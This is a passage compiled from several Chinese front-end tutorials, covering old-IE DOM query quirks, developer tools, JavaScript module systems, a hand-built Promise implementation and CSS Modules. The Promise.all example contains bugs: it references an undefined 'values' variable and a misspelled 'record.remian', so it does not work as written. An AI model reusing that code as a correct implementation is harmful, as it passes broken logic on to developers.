  
//事件委托方法  
IE：document.body.onload = inject; //Function inject()在这之前已被实现  
FF：document.body.onload = inject();   


HTML5 的浏览器支持情况





来源地址：http://fmbip.com/litmus/



查询操作

查询通过指的是通过一些特征字符串来找到一组元素，或者判断元素是不是满足字符串。


	IE6/7不区分id和nam
在IE6/7下使用getElementById和getElementsByName时会同时返回id或name与给定值相同的元素。由于name通常由后端约定，因此我们在写JS时，应保证id不与name重复。


	IE6/7不支持getElementsByClassName和querySelectorAll   
这两个函数从IE8开始支持的，因此在IE6/7下，我们实际可以用的只有getElementByTagName。


	IE6/7不支持getElementsByTagName('*')会返回非元素节点    
要么不用*，要么自己写个函数过滤一下。


	IE8下querySelectorAll对属性选择器不友好    
几乎所有浏览器预定义的属性都有了问题，尽量使用自定义属性或者不用属性选择器。


	IE8下querySelectorAll不支持伪类    
有时候伪类是很好用，IE8并不支持，jquery提供的:first、:last、:even、:odd、:eq、:nth、:lt、:gt并不是伪类，我们在任何时间都不要使用它们。


	
IE9的matches函数不能处理不在DOM树上的元素
只要元素不在dom树上，一定会返回false，实在不行把元素丢在body里面匹配完了再删掉吧，当然了我们也可以自己写匹配函数以避免回流。    







资料参考：



http://w3help.org/zh-cn/kb/，
http://www.zhihu.com/question/29072028


 我推荐的一些前端开发工具

作者：老婆婆

来源： 我推荐的一些前端开发工具



                    
artTemplate

性能卓越的 js 模板引擎



简洁的模版语法，简单的API，关键还能前后端（Nodejs）共用模板，简直就是前端开发利器。今天有个想法，把artTemplate封装下，模版render后给input等注册几个事件，分分钟就能实现简单的数据双向绑定。

artTemplate。

Duo

提供强大的前端静态资源（主要是JS和CSS）构建压缩方案，前身是Components。
其具有丰富的前端组件库（强烈推荐），生态极其繁荣，依然有很多开发者不断为其贡献组件。

Duo

fastClick

一行代码消除移动短click事件300ms的延迟，不用过多介绍，只需要这么使用它即可：

$(function() {
    FastClick.attach(document.body);
});

尽情书写click吧，不用判断移动端使用touch神马的了~

fastClick

debug.js

手机上看不到console.log信息？手机检测不到JS报错信息？不用担心，有了debug.js你就可以做到。

debug.js提供了简洁的API供开发者使用，你可以查看Demo。

当然，如果你想继续使用console.log，可以这么封装：

if('ontouchend' in window) {
  console.log = debug.log.bind(debug);
}

之后上线时，可以使用uglify压缩掉所有console的代码。完美~

debug.js

broadcast.js

broadcast实现了

统一的事件管理中心。



源码非常简单，使用也非常简单，提供两个API：


	broadcast.on


	broadcast.fire




简单的功能，会不知不觉成为网页（网站）非常核心的功能，相信如果你真正理解它使用它，你会彻底喜欢上它。

broadcast.js

iconfont.cn

iconfont.cn是由阿里巴巴UX部门推出的矢量图标管理网站。



图标做成字体文件，iconfont.cn是我目前见到的国内最大的图标字体库，由最初的阿里系图标慢慢升级为全图标库，开发者也可以自己上传SVG文件生成iconfont。

iconfont

device.js

device.js是一个简单的设备检测工具。



device.js


 写了十年JS却不知道模块化为何物？

作者：野狗

来源： 写了十年JS却不知道模块化为何物？



                    
作者：肖光宇
野狗科技联合创始人，先后在猫扑、百度、搜狗任职，爱折腾的前端工程师。
野狗官博：https://blog.wilddog.com/ 
野狗官网：https://www.wilddog.com/
公众订阅号：wilddogbaas



转载请保留以上信息。


模块化这个问题并非一开始就存在，WWW刚刚问世的时候，html，JavaScript，CSS（JS和CSS都是后来在网景被引进浏览器的）都是极其简单的存在，不需要模块化。

模块化的需求是规模的产物，当web page进化到web application，浏览器端处理的逻辑越来越复杂，展现的样式和动画越来多，对于工程的要求也就越来越高。于是模块化的需求也就产生了。模块化的意义：


	组件的复用，降低开发成本和维护成本


	组件单独开发，方便分工合作


	模块化遵循标准，方便自动化依赖管理，代码优化，部署




JavaScript长久以来被认为是简单的脚本语言，实际上情况早就发生来变化，在最新版的ECMA-262（ES6）文档中强调JavaScript是通用编程语言而不是脚本语言。脚本语言，比如shell并不是用来完成复杂功能的，只是用来做一些自动化控制，是不需要模块化的。而用于构建复杂系统通用编程语言（比如Java）一般都有模块的实现。

1.模块化标准

ES6之前，JavaScript并没有原生的模块机制，好在JavaScript非常灵活，有很多种写法可以将代码天然隔离，起到模块化的功能：

//define
var modules = {}  
modules.mod1 = {  
  foo : function(){...},
  bar : function(){...}
  ...
}
//call
modules.mod1.foo()  


在客户端这种方式基本是够用的，然而问题依然存在：你无法管理依赖，所有的代码都必须load到内存中，需要哪些模块必须由人工处理。分模块是工程化的产物，也是自然发展的结果，自然有很多尝试。很显然，模块之间互相依赖需要编写模块的时候遵循一定的规范。现存的规范还真不少，不知道ES6 能否终结这场混战：


	AMD


	CMD


	closure


	CommonJS


	ES6




AMD和CMD分别是requireJS和seaJS定义的标准。使用纯原生的ES5语法意味者其只能使用闭包，书写和阅读都很怪异。值得一提的是AngularJS也使用类似的方式，以至于Angular的作者们都受不了，决定在AngularJS 2 使用新的语言AtScript，前端轮子太多，又造了一个，好在这个轮子造的比较好，兼容ES6 TypeScript规范，扯的远了，看看AMD长得啥样：

AMD:

define(['./a', './b'], function(a, b) {  
  ...
})


Closure是google出品的前端工具，Closure提供了一系列工具和库，谷歌自己的多个项目都是使用Closure开发的。closure compiler通过模块间依赖的声明把所有被依赖的文件打包到一起，而且Closure的一大优势是如果采用破坏性压缩（ADVANCED）压缩率极高。

//文件A
goog.provide('module1')  
com.foo.bar = {  
   ...
}
....

//文件B
goog.require('module1')  
var a = com.foo.bar;  


然而Closure并不完美，不同的文件共享同一个全局对象，所以你不得不这样写 a.b.c=...。

CommonJS是Node.js使用的模块化标准。Node.js对于前端开发者来说不仅仅可以提供一个Server，还是一个完美的开发平台，在Node上使用Grunt/gulp构建web项目是件很爽的事情。Node的模块化声明的方式与Closure类似，只是更进一步，天然隔离了命名空间。上面的代码如果使用CommonJS的模块化规范可以这么写

//文件A
module.exports = {...}  
....

//文件B
var a = require('./foo/bar')


browserify让使用CommonJS模块化规范的代码可以运行在客户端上。(browserify原理分析)

2.静态加载与动态加载

在看ES6之前我们先看模块加载的两种方式：


	静态加载:在编译阶段进行,把所有需要的依赖打包到一个文件中


	动态加载:在运行时加载依赖




AMD标准是动态加载的代表，而CommonJS是静态加载的代表。AMD的目的是用在浏览器上，所以是异步加载的。而NodeJS是运行在服务器上的，同步加载的方式显然更容易被人接收，所以使用了CommonJS。同样的道理，如果静态加载，那就使用同步的加载方式，如果动态加载就必须用异步的加载方式。

那么ES6采用何种加载机制？

ES6既希望用简单的声明方式来完成静态加载，又不愿放弃动态加载的特性，而这两种方式几乎不可能简单的同时实现，所以ES6提供了两种独立的模块加载方法。

2.1 声明的方式

import {foo} from module1  


2.2 通过System.import API的方式

System.import('some_module')  
    .then(some_module => {
        // Use some_module
    })
    .catch(error => {
        ...
    });


再看下export的语法，与CommonJS很像，只不过没有了module这个对象，而直接调用export。 可以export任何一个 函数，变量，对象

//expt.js
export function abc(){}//export 一个命名的function  
export default function(){} //export default function  
export num=123 //export 一个数值  
export obj={}  
export { obj as default };

//import
import expt from 'expt'//default export  
import {default as myModule} from 'expt' //rename  
import {abc,num,obj} from 'expt' 


更多细节可以看这篇文章：http://www.2ality.com/2014/09/es6-modules-final.html

目前来看，使用预编译的方式显然要好于使用动态加载，浏览器对ES6语法支持还很差，如果使用动态加载ES6，在浏览器端要做ES6到ES5的翻译工作，这个显然是重复低效的。但是随着浏览器对ES6支持增强，尤其是浏览器实现了动态加载API后，动态加载的优势就会展现：


	更流畅的用户体验，动态加载可以实现类似lazyload的加载方式，将download的时间分散


	更简洁的项目，无需预编译，项目可以少配置很多工具


	HTTP/2的普及更倾向于使用多个小的请求，适合动态加载




3.实践

如果现在使用ES6，可以选择动态加载模块system.js 或者browserify的预编译方法。

使用system.js+babel动态加载依赖。system.js 是ES6动态模块加载的一个实现。写了一个小DEMO：

项目初始化

bower install babel system.js --save 


index.html

...
    <script src="/bower_components/system.js/dist/system.js"></script>

    <script>
      System.config({
          baseURL : "/scripts",
          transpiler : 'babel',
          map : {
            babel:'/bower_components/babel/browser.js'

          }
        }
      )
      System.import('main.js').then(function(m){
        m.default.sayHello()
      })

    </script>

...


main.js

export default {  
  sayHello : function(){
    console.log('hello')
  }
}


项目的地址在： https://github.com/stackOverMind/demo-system.js

使用gulp+browserify+babel预编译。gulp是一个Node.js平台上的任务管理平台。预编译要做很多配置，非常繁琐，推荐使用yeoman来生成项目骨架。比如使用generator-es6-webapp。

生成非常简单,在项目目录中执行

yo es6-webapp  


缺少依赖的化安装依赖就好。

4.其他，关于前端化趋势

ES6模块化意味着什么？

更强大的前端，Web技术整体前移。HTML5的发展和某些优秀浏览器的支持让web技术整体前移，以前像渲染这种工作在后端进行是由于浏览器薄弱，且有老IE这种拖后腿捣乱的选手。

简化编程模型，人工管理JS依赖和将多个JS打包这种工作可以不需要了，而配合WebComponents标准，开发Web将不再借助模板引擎和预编译引擎。

前端化还有更深远的影响--在过去浏览器是个工具，现在浏览器是个重要的工具，在未来浏览器就是用户唯一的操作系统。


 实现Promise

作者：lwl

来源： 实现Promise



                    
使用Promise是极好的，它是如此有用以至于我觉得应该好好研究一下Promise，甚至是实现一个简易的版本。实现之前，我们先来看看Promise的用途：

使用Promise

callback hell

Promise的第一个用途是能够很好地解决回调黑洞的问题，假设要实现一个用户展示的任务，这个任务分为三步：


	获取用户信息


	获取用户图像


	弹窗提示




不使用Promise，我们的实现可能是这样子：

getUserInfo(id, function (info) {
  getUserImage(info.img, function () {
    showTip();
  })
})

这里只是三步，如果有更长串的任务时，我们就会陷入到回调黑洞之中，为了解决这个问题，我们就可以使用Promise来处理这一长串任务，使用Promise的版本是这样子的：

// getUserInfo返回promise
getUserInfo(id)
  .then(getUserImage)
  .then(showTip)
  .catch(function (e) {
     console.log(e);
  });

原来向右发展的代码，开始向下发展，这样也更适合编程习惯，如果要让我们的代码更加健壮，我们就需要在每一步来处理错误信息，使用promise这后，我们只需要在最后的catch中做善后处理。

并发

假如我们要显示某一个页的10条记录，但是我们只有一个通过id获取记录的接口，这样我们就需要发送10个请求，并且所有请求都完成之后再将记录全部添加到页面之中，Promise在这个场景下使用是特别合适的。

代码可能是这样子：

// ids要获取信息的所有记录id
// getRecordById获取记录的接口，返回promise
Promise.all(ids.map(getRecordById))
  .then(showRecords)
  .catch(function (e) {
     console.log(e);
  });

这就是Promise的一些简单的用途，当然令人兴奋的是Promise已经是ES6的标准，而且目前很多浏览器已经原生支持Promise了。对于那些无法使用Promise的浏览器，我们就只能自己去实现了，下面就来看看Promise的简单实现吧。

实现

warm up

先来盗用一张MDN的图，先来热热身，看看Promise的状态迁移：



Promise有三种状态：


	pending：初始状态, 非 fulfilled 或 rejected


	fulfilled: 成功的操作


	rejected: 失败的操作




我们可以看出新建的Promise是pending状态，fulfill之后就会执行调用then的回调函数了，倘若reject了就会调用catch来进行异常处理了，并且无论是调用then还是catch都会返回新的promise，这就是为什么promise可以链式调用了。

接着，我们来研究一下规范是怎么描述
promise的。这里只抽取核心部分，边界问题不考虑。

构造函数：Promise ( executor )


	检查参数：例如executor是不是函数啊


	初始化：[[State]]=pending，[[FulfillReactions]]=[],[[RejectReactions]]=[]


	创建resolve对象：{[[Resolve]]: resolve, [[Reject]]: reject}


	执行executor：executor(resolve, reject)




因此构造函数里面传入的excuter是立即被执行的。FulfillReactions存储着promise执行成功时要做的操作，RejectReactions存储着promise是要执行的操作。

function Promise(resolver) {
  this._id = counter++;
  this._state = PENDING;
  this._result = undefined;
  this._subscribers = [];

  var promise = this;

  if (noop !== resolver) {
    try {
      resolver(function (value) {
        resolve(promise, value);
      }, function (reason) {
        reject(promise, reason);
      });
    } catch (e) {
      reject(promise, e);
    }
  }
}

FulfillPromise(promise, value)


	检查[[state]]，必须为pending（不是pending的表示已经解析，不能重复解析）


	赋值：[[Result]]=value，[[state]]=fulfilled


	触发[[FulfillReactions]]的操作




和FulfillPromise联系最紧密的就是ResolvePromise了，这里我们给出的是ResolvePromise的实现，区别只是多了直接解析Promise。

function resolve(promise, value) {
  // 要resolve的为promise（then的callback返回的是promise）
  if (typeof value === 'object'
    && promise.constructor === value.constructor) {
    handleOwnThenable(promise, value);
  } 
  // 要resolve的是值
  else {
    if (promise._state !== PENDING) { return; }

    promise._result = value;
    promise._state = FULFILLED;

    asap(publish, promise);
  }
}

function handleOwnThenable(promise, thenable) {
  // 如果返回的promise已经完成
  // 直接用该promise的值resolve父promise
  if (thenable._state === FULFILLED) {
    resolve(promise, thenable._result);
  } else if (thenable._state === REJECTED) {
    reject(promise, thenable._result);
  }
  // 如果返回的promise未完成
  // 要等该promise完成再resolve父promise
  else {
    subscribe(thenable, undefined, function(value) {
      resolve(promise, value);
    }, function(reason) {
      reject(promise, reason);
    });
  }
}

RejectPromise(promise, reason)


	检查[[state]]，必须为pending（不是pending的表示已经解析，不能重复解析）


	赋值：[[Result]]=reason，[[state]]=rejected


	触发[[RejectReactions]]的操作




触发[[FulfillReactions]]和触发[[RejectReactions]]实际就是遍历数组，执行所有的回调函数。

function reject(promise, reason) {
  if (promise._state !== PENDING) { return; }

  promise._state = REJECTED;
  promise._result = reason;

  asap(publish, promise);
}

Promise.prototype.then(onFullfilled, onRejected)


	promise=this


	新建resultCapability三元组，{[[Promise]], [[Resolve]], [[Reject]]}（[[Promise]]新建的）


	fulfillReaction={[[Capabilities]]: resultCapability, [[Handler]]: onFulfilled}


	rejectReaction={[[Capabilities]]: resultCapability, [[Handler]]: onRejected}


	如果[[state]]是pending：fulfillReaction加入[[FulfillReactions]]，rejectReaction加入[[RejectReactions]]


	如果[[state]]是fulfilled：fulfillReaction加入执行队列


	如果[[state]]是rejected：rejectReaction加入执行队列


	返回resultCapability.[[Promise]]




这里可以看出构造函数和then的关系是很紧密的，新建的promise如果是异步操作，那么状态就是pending，调用then时会新建子promise，并且将回调操作加入父promise的[[FulfillReactions]]或[[RejectReactions]]的数组里，这实际就是发布订阅模式。

他们是这样的关系：



无论是new promise还是调用then或catch，都会得到一个新的promise，这些promise都会订阅父级promise的完成事件，父级promise完成之后就会执行一系列的回调操作，也就是发布。

Promise.prototype.catch(onRejected)

	then的语法糖：then(null, onRejected)




下面就是Promise原型：

Promise.prototype = {
  constructor: Promise,

  then: function (onFulfillment, onRejection) {
    var parent = this;
    var state = parent._state;

    if (state === FULFILLED && !onFulfillment
        || state === REJECTED && !onRejection) {
        return this;
    }

    var child = new Promise(noop);
    var result = parent._result;

    if (state) {
      var callback = arguments[state - 1];
      asap(function () {
        invokeCallback(state, child, callback, result);
      });
    } else {
      subscribe(parent, child, onFulfillment, onRejection);
    }

    return child;
  },

  'catch': function (onRejection) {
    return this.then(null, onRejection);
  }
};

Promise.resolve(value)


	新建promise


	调用ResolvePromise(promise, value)（未列出，会判断一些情况然后调用FulfillPromise）


	返回promise




Promise.resolve = function (arg) {
  var child = new Promise(noop);
  resolve(child, arg);
  return child;
};

Promise.reject(value)


	新建promise


	调用RejectPromise(promise, value)


	返回promise




Promise.reject = function (reason) {
  var child = new Promise(noop);
  reject(child, reason);
  return child;
};

Promise.all(iterator)

到这里我们已经能够实现基本的promise了，Promise.all和Promise.race就不继续描述了，有兴趣的可以继续去读规范，这里上图来说明我对这两个函数的理解：



调用promise.all会新建一个对象来存储所有promise的处理状态，保存执行的结果，当remain为0时，就可以resolve 新建的promise，这样就可以继续往后执行了。

Promise.all = function (promises) {
  var child = new Promise(noop);
  var record = {
    remain: promises.length,
    values: []
  };
  promises.forEach(function (promise, i) {
    if (promise._state === PENDING) {
      subscribe(promise, undefined, onFulfilled(i), onRejected);
    } else if (promise._state === REJECTED) {
      reject(child, promise._result);
      return false;
    } else {
      --record.remain;
      record.values[i] = promise._result;
      if (record.remain == 0) {
        resolve(child, values);
      }
   }
  });
  return child;

  function onFulfilled(i) {
    return function (val) {
      --record.remain;
      record.values[i] = val;
      if (record.remian === 0) {
        resolve(child, record.values);
      }
    }
  }
  
  function onRejected(reason) {
    reject(child, reason);
  }
};

Promise.race(iterator)

promise.race与promise.all类似，不过只要有一个promise完成了，我们就可以resolve新建的promise了。

Promise.race = function (promises) {
  var child = new Promise(noop);

  promises.forEach(function (promise, i) {
    if (promise._state === PENDING) {
      subscribe(promise, undefined, onFulfilled, onRejected);
    } else if (promise._state === REJECTED) {
      reject(child, promise._result);
      return false;
    } else {
      resolve(child, promise._result);
      return false;
    }
  });
  return child;

  function onFulfilled(val) {
    resolve(child, val);
  }
        
  function onRejected(reason) {
    reject(child, reason);
  }
};

这就是promise的基本内容了，完整代码请戳这里。

其他问题

promises 穿透

如果传入then里面的参数不是函数，就会被忽略，这就是promise穿透的原因，所以永远往then里面传递函数。答案可以从then方法里面调用的一个关键函数invokeCallback中找到答案：

function invokeCallback(settled, promise, callback, detail) {
    var hasCallback = (typeof callback === 'function'),
      value, error, succeeded, failed;

    if (hasCallback) {

      try {
        value = callback(detail);
      } catch (e) {
        value = {
          error: e
        };
      }

      if (value && !!value.error) {
        failed = true;
        error = value.error;
        value = null;
      } else {
        succeeded = true;
      }

    }
    // then的参数不是函数
    // 会被忽略，也就是promise穿透
    else {
      value = detail;
      succeeded = true;
    }

    if (promise._state === PENDING) {
      if (hasCallback && succeeded
          || settled === FULFILLED) {
        resolve(promise, value);
      } else if (failed || settled === REJECTED) {
        reject(promise, error);
      }
    }
  }

例如如下例子，结果都是输出foo：

Promise.resolve('foo').then(Promise.resolve('bar')).then(function (result) {
  console.log(result);
});

Promise.resolve('foo').then(null).then(function (result) {
  console.log(result);
});

拥抱金字塔

promise能够很好的解决金字塔问题，但是有时候我们也是需要适当使用金字塔的，例如我们要同时获取两个promise的结果，但是这两个promise是有关联的，也就是有顺序的，该怎么办？

也许解决方案会是这样，定义一个全局变量，这样在第二个then里面就可以使用两个promise的结果了。

var user;
getUserByName('nolan').then(function (result) {
  user = result;
  return getUserAccountById(user.id);
}).then(function (userAccount) {
  // 好了， "user" 和 "userAccount" 都有了
});

但是这不是最好的方案，此时何不抛弃成见，拥抱金字塔：

getUserByName('nolan').then(function (user) {
  return getUserAccountById(user.id).then(function (userAccount) {
    // 好了， "user" 和 "userAccount" 都有了
  });
});

promise是如此强大而且难以理解，但是抓住实质之后其实并没有想象的那么复杂，这也是为什么我要写下这篇文章。更过关于如何正确使用promise，请看第三篇参考文章，强力推荐。
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原文：http://glenmaddern.com/articles/css-modules
译者：@公子



如果你想知道 CSS 最近发展的转折点，你应该选择去观看 Christopher Chedeau 在2014年11月的 NationJS 大会上做的名称为 CSS in JS 的分享。不得不说这是一个技术分水岭的时刻，一群不同的思维在自己的方向上就像粒子进入了高能漩涡中一样飞速发展。其中，在 React 或者是 React 相关的项目中编写 CSS 样式，React Style, jxstyle 和 Radium 这三个算是最新的，最好的以及最具有可行性的方法。如果说“发明”是探索 最接近的可能 的一个实例（译者注：最接近的可能是 Steven Johnson 于 2010 年提出来的一个概念），那么 Christopher 则是让许许多多的可能变得更加接近（译者注：上面三个工具中的两个灵感都是来自他的分享）。



上图列出的这些都是在许多大型 CSS 代码库中存在的问题。Christopher 指出，只要将你的样式通过用 JS 去管理，这些问题都能很好的解决。不得不说这的确是有道理的，但是这种方法有它的复杂性并会带来其他的相关问题。其实只要看看浏览器是如何处理 :hover 伪类状态的，我们就会发现有些东西在 CSS 中其实***很早***就解决了。

CSS 模块小组 觉得我们可以更加合理的解决问题：我们可以继续保持 CSS 现在的样子，并在 styles-in-JS 社区的基础上建立更合理的改进。虽然我们已经找到了解决办法同时又捍卫了 CSS 原始的美，但我们仍然欠那些把我们推向这个结果的那些人一声感谢。谢谢你们，朋友们！

下面让我来向大家解说一下什么是 CSS 模块并且为什么它才是未来吧。



第一步：像局部一样无需考虑全局冲突

在 CSS 模块中，每一个文件被编译成独立的文件。这样我们就只需要使用通用简单的类选择器名字就好了。我们不需要担心它会污染全局的变量。下面我就我们编写一个拥有四个状态的按钮来说明这个功能。

https://jsfiddle.net/pqnot81c/embedded/result/

CSS 模块之前我们是怎么做的

我们也许会使用 Suit/BEM 命名规范去进行样式命名，这样我们的 HTML 和 CSS 代码看起来就像如下所示：

/* components/submit-button.css */
.Button { /* all styles for Normal */ }
.Button--disabled { /* overrides for Disabled */ }
.Button--error { /* overrides for Error */ }
.Button--in-progress { /* overrides for In Progress */

<button class="Button Button--in-progress">Processing...</button>

这样写看起来还挺棒的。使用 BEM 命令方式使我们有了 4 个样式变量这样我们不必使用嵌套选择器。使用Button这种首字母大写的方法可以很好的避免与之前的代码或者是其他的依赖代码进行冲突。另外我们使用了--语法这样能很清楚的显示出我们的依赖 Class。

总的来说，这样做可以让我们的代码更易于维护，但是它需要我们在命名规范的学习上付出很多努力。不过这已经是目前 CSS 能给出的最好的解决办法了。

CSS 模块出来之后我们是怎么做的

CSS 模块意味着你从此再也不必为你的名字太大众而担心，只要使用你觉得有最有意义的名字就好了：

/* components/submit-button.css */
.normal { /* all styles for Normal */ }
.disabled { /* all styles for Disabled */ }
.error { /* all styles for Error */ }
.inProgress { /* all styles for In Progress */

请注意我们这里并没有在任何地方使用 button 这个词。不过反过来想，为什么我们一定要使用它呢？这个文件已经被命名成了 submit-button.css 了呀！既然在其它的语言中你不需要为你的局部变量增加前缀，没道理 CSS 需要加上这个蹩脚的功能。

通过使用 require 或者 import 从 JS 中导入文件使得 CSS 模块被编译成为可能。

/* components/submit-button.js */
import styles from './submit-button.css';

buttonElem.outerHTML = `<button class=${styles.normal}>Submit</button>`

你不必担心大众名字会倒置命名冲突，编译后实际上类名是会自动生成并保证是唯一的。CSS 模块为你做好一切，最终编译成一个 CSS 与 JS 交互的 ICSS 后缀文件（阅读这里了解更多）。因此，你的程序最终看起来可能会是这个样子的：

<button class="components_submit_button__normal__abc5436">
  Processing...
</button>

如果你的类名变的和上面的例子差不多的话，那么恭喜你你成功了！



命名约定

现在回过头来仔细看看我们的示例代码：

/* components/submit-button.css */
.normal { /* all styles for Normal */ }
.disabled { /* all styles for Disabled */ }
.error { /* all styles for Error */ }
.inProgress { /* all styles for In Progress */

请注意所有的类都是相互独立的，这里并不存在一个“ 基类 ”然后其它的类集成并“ 覆盖 ”它的属性这种情况。在 CSS 模块中 每一个类都必须包含这个元素需要的所有样式 （稍后会有详细说明）。这使得你在 JS　中使用样式的时候有很大的不同：

/* Don't do this */
`class=${[styles.normal, styles['in-progress']].join(" ")}`

/* Using a single name makes a big difference */
`class=${styles['in-progress']}`

/* camelCase makes it even better */
`class=${styles.inProgress}`

当然，如果你的工资是按照字符串长度来计算的话，你爱怎么做就怎么做吧！

React 示例

CSS 模块并不是 React 特有的功能，但是不得不说在 React 中使用 CSS 模块会更爽。基于这个理由，我觉得我有必要展示下面这个如飘柔般丝滑的示例：

/* components/submit-button.jsx */
import { Component } from 'react';
import styles from './submit-button.css';

export default class SubmitButton extends Component {
  render() {
    let className, text = "Submit"
    if (this.props.store.submissionInProgress) {
      className = styles.inProgress
      text = "Processing..."
    } else if (this.props.store.errorOccurred) {
      className = styles.error
    } else if (!this.props.form.valid) {
      className = styles.disabled
    } else {
      className = styles.normal
    }
    return <button className={className}>{text}</button>
  }
}

你完全不需要担心你的类命名会和全局的样式表命名冲突，这样能让你的注意力更集中在**组件**上，而不是样式。我敢保证，使用过一次之后，你会再也不想回到原来的模式中去。

然而这仅仅是一切的开始。CSS 模块化是你的基本，但也是时候来思考一下如何把你的样式们都集中到一块了。

第二步：组件就是一切

上文中我提到了每一个类必须包含按钮不同状态下的**所有**的样式，与 BEM 命名方式上相比，代码上可能区别如下：

/* BEM Style */
innerHTML = `<button class="Button Button--in-progress">`

/* CSS Modules */
innerHTML = `<button class="${styles.inProgress}">`

那么问题来了，你怎么在所有的状态样式中**共享**你的样式呢？这个答案就是 CSS 模块的强力武器 - **组件**：

.common {
  /* all the common styles you want */
}
.normal {
  composes: common;
  /* anything that only applies to Normal */
}
.disabled {
  composes: common;
  /* anything that only applies to Disabled */
}
.error {
  composes: common;
  /* anything that only applies to Error */
}
.inProgress {
  composes: common;
  /* anything that only applies to In Progress */
}

composes这个关键词将会使.normal类将.common内的所有样式包含进来，这个有点像 Sass 的 @extends 语法。但是 Sass 依赖重写你的 CSS 文件达到效果，而 **CSS 模块最后会通过 JS 编译导出，不需要修改文件**（译者注：下面会有例子详细说明）。

Sass

按照 BEM 的命名规范，我用 Sass 的 @extends 写的话可能会像如下的代码：

.Button--common { /* font-sizes, padding, border-radius */ }
.Button--normal {
  @extends .Button--common;
  /* blue color, light blue background */
}
.Button--error {
  @extends .Button--common;
  /* red color, light red background */
}

编译后的 CSS 文件如下：

.Button--common, .Button--normal, .Button--error {
  /* font-sizes, padding, border-radius */
}
.Button--normal {
  /* blue color, light blue background */
}
.Button--error {
  /* red color, light red background */
}

你可以只需要**一**个类来标记你的元素<button class="Button--error">，但是你能得到包括共有的和特例的所有样式。这看起来真的非常厉害，但是你需要注意这种语法在一些特别的情况下存在问题和陷阱。Hugo Giraudel 在他的文章中做了很好的总结，感谢他！

CSS 模块

composes 语法看起来很像 @extends 但是他们的工作方式是不同的。为了演示一下，让我们来看一个例子：

.common { /* font-sizes, padding, border-radius */ }
.normal { composes: common; /* blue color, light blue background */ }
.error { composes: common; /* red color, light red background */ }

编译后的文件可能是像如下一样：

.components_submit_button__common__abc5436 { /* font-sizes, padding, border-radius */ }
.components_submit_button__normal__def6547 { /* blue color, light blue background */ }
.components_submit_button__error__1638bcd { /* red color, light red background */ }

JS 代码中通过 import styles from "./submit-button.css" 最终会返回：

styles: {
  common: "components_submit_button__common__abc5436",
  normal: "components_submit_button__common__abc5436 components_submit_button__normal__def6547",
  error: "components_submit_button__common__abc5436 components_submit_button__error__1638bcd"
}

所以我们依然可以使用 style.normal 或者 style.error 在我们的代码中，**仍旧会有多个类样式渲染在我们的 DOM 上**。

<button class="components_submit_button__common__abc5436 
               components_submit_button__normal__def6547">
  Submit
</button>

这就是 composes 语法的厉害之处，你可以在不重写你的 CSS 的情况下对你的元素混合使用不同类的样式。

第三步：文件间共享

Sass 或者 LESS 中，你可以在每个文件中使用 @import 在全局工作区间内共享样式。这样你就可以在一个文件中定义变量或者函数（mixins）并在你的其它组件文件中共享使用。这样做是有好处的，但是很快你的变量命名就会与其它的变量名称相冲突（虽然它在另外一个全部空间下），你不可避免的会重构你的 variables.scss 或者 settings.scss，最后你就会发现你已经看不懂到底哪个组件依赖哪个变量了。最后的最后你会发现你的配置文件变量名称冗余到变得非常不实用。

针对上述问题仍然是有更好的解决办法的（事实上 Ben Smithett 的文章 Sass 和 Wepack 的混合使用 给了 CSS 模块话很大的启发，我推荐大家去读一读这篇文章），但是不管怎么做你还是局限在了 Sass 的全局环境下。

CSS 模块一次只运行一个文件，这样可以避免全局上下文的污染。而且像 JS 使用 import 或者 require 来加载依赖一样，CSS 模块使用 compose 来从另一个文件中加载：

/* colors.css */
.primary {
  color: #720;
}
.secondary {
  color: #777;
}
/* other helper classes... */

/* submit-button.css */
.common { /* font-sizes, padding, border-radius */ }
.normal {
  composes: common;
  composes: primary from "../shared/colors.css";
}

使用组件，我们能够深入到每一个像colors.css一样的基础样式表中，并随意重命名它。又因为组件只是改变了最后**导出**的类名称，而不是 CSS 文件本身，composes 语句在浏览器解析之前就会被删除。

/* colors.css */
.shared_colors__primary__fca929 {
  color: #720;
}
.shared_colors__secondary__acf292 {
  color: #777;
}

/* submit-button.css */
.components_submit_button__common__abc5436 { /* font-sizes, padding, border-radius */ }
.components_submit_button__normal__def6547 {}

<button class="shared_colors__primary__fca929
               components_submit_button__common__abc5436 
               components_submit_button__normal__def6547">
  Submit
</button>

事实上，当它被浏览器解析之后，我们的局部是不存在一个"**normal**"样式的。这是一件好事！这意味着我们可以增加一个局部名字有意义的对象（可能就叫"**normal**"）而不用在 CSS 文件中新增代码。我们使用的越多，对我们的网站会造成更少的视觉误差以及在用户浏览器上更少的不一致。

题外话：空的类样式可以使用 csso 这样的工具来检查去除掉。

第四步：功能单一模块

组件是非常强大的，因为它确实的让你描述了一个元素是什么，而不是它由那些样式组成。这是一种不同的方式去描述概念示例（**元素**）到样式实体（**样式规则**）之间的映射关系。让我们看一个简单的 CSS 例子：

.some_element {
  font-size: 1.5rem;
  color: rgba(0,0,0,0);
  padding: 0.5rem;
  box-shadow: 0 0 4px -2px;
}

这些元素，样式都是特别简单的。然而也存在着问题：颜色，字体大小，盒子阴影，内边距-这里的一切都是量身定制的，这让**我们想要在其它地方复用这些样式**的时候变得有些困难。下面让我们用 Sass 重构这些这些代码：

$large-font-size: 1.5rem;
$dark-text: rgba(0,0,0,0);
$padding-normal: 0.5rem;
@mixin subtle-shadow {
  box-shadow: 0 0 4px -2px;
}

.some_element {
  @include subtle-shadow;
  font-size: $large-font-size;
  color: $dark-text;
  padding: $padding-normal;
}

这是一个进化版，但是我们仅仅只达到了**一部分**目标。事实上 $large-font-size 和 $padding-normal 只是在名字上表示了它的用途，并不能在任何地方都执行。像 box-shadow 这种定义没办法赋值给变量，我们不得不使用 mixin 或者 @extends 语法来配合。

CSS 模块

通过使用组件，我们可以使用我们可复用的部分定义我们的组件：

.element {
  composes: large from "./typography.css";
  composes: dark-text from "./colors.css";
  composes: padding-all-medium from "./layout.css";
  composes: subtle-shadow from "./effect.css";
}


这种写法势必会有很多单一功能文件产生，然而通过使用文件系统来管理不同用途的样式比起用命名空间来说要好的多。如果你想要从一个文件中导入多个类样式的话，有一种简单的写法：

/* this short hand: */
.element {
  composes: padding-large margin-small from "./layout.css";
}

/* is equivalent to: */
.element {
  composes: padding-large from "./layout.css";
  composes: margin-small from "./layout.css";
}

这开辟了一种可能，使用**极细粒**的类样式定义一些样式别名去给每一个网站使用：

.article {
  composes: flex vertical centered from "./layout.css";
}

.masthead {
  composes: serif bold 48pt centered from "./typography.css";
  composes: paragraph-margin-below from "./layout.css";
}

.body {
  composes: max720 paragraph-margin-below from "layout.css";
